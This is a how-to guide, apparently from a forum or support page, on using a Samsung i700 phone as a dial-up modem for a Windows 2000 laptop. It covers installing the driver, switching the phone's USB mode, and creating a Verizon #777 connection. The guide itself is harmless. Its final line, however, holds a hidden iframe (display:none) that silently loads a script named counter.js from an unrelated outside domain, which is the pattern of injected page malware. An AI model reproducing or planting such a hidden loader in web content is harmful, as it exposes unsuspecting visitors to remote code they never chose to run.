How do I use the Samsung i700 as a laptop modem?

Step 1: Install Modem in Laptop or PC
<ol><li>I started this process with my i700 connected in the cradle as normal, but I think you could do it without it connected as well. It may cause trouble if you have it in "External Data Call" mode before you start. </li>
<li>Download the driver HERE.</li>
<li>Unzip it into a directory of your choice.</li>
<li>Run Setup.exe in the unzipped files directory</li>
<li>Place the i700 in the cradle and connect the cradle to your PC (if you haven't already).</li>
<li>On the i700, go to Settings&gt;System&gt;USB and chane the setting to "External Data Call".</li>
<li>Windows will now automatically detect and install two hardware devices, the first being "Samsung CDMA Technology". </li>
<li>If it can't find the driver files automatically, choose the BROWSE option and just point it to the unzipped files folder.</li>
<li>It may warn that the driver is not for this device... just click on "install anyway" through the complete setup.</li></ol>

Step 2: Setup Connection on Laptop or PC
This may vary depending on your operating system. I am describing what's required with Windows 2000.<ol><li>From your desktop, go to Start&gt;Settings&gt;Network and Dial-up Connections.</li>
<li>Select Mak New Connection</li>
<li>Select Dial-up to the Internet on the second dialog box.</li>
<li>Select "I want to setup my internet connection manually..." on the next dialog.</li>
<li>Select "I want to connect through a phone line and a modem" on the next dialog.</li>
<li>Select "SAMSUNG CDMA Modem" from the drop down list for modem selection.</li>
<li>On the ISP dialog, clear the "Area Code" field, enter "#777" for "Telephone Number", and deselect "Use Area code and dialing rules". If you are dialing from within a business, you may need to alter this step.</li>
<li>FOR VERIZON - Enter your mobile number followed with @vzw3g.com as your "User" name. Here's an example: 7735997523@vzw3g.com (make sure everything is in lower case). </li>
<li>Enter your password as "vzw" (make sure it is in lowercase).</li>
<li>On the next dialog, enter a name for the connection. This can be anything such as "i700 Wireless Modem Connection".</li>
<li>On the next dialog, select "No".</li>
<li>Select Finish on the final dialog</li>
</ol>

Use the Connection
Again, using Windows 2000, to open the connection you simply go to Start&gt;Settings&gt;Network and Dial-up Connections, select the i700 Modem connection that you setup, hit the right mouse button, and select "Connect".<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
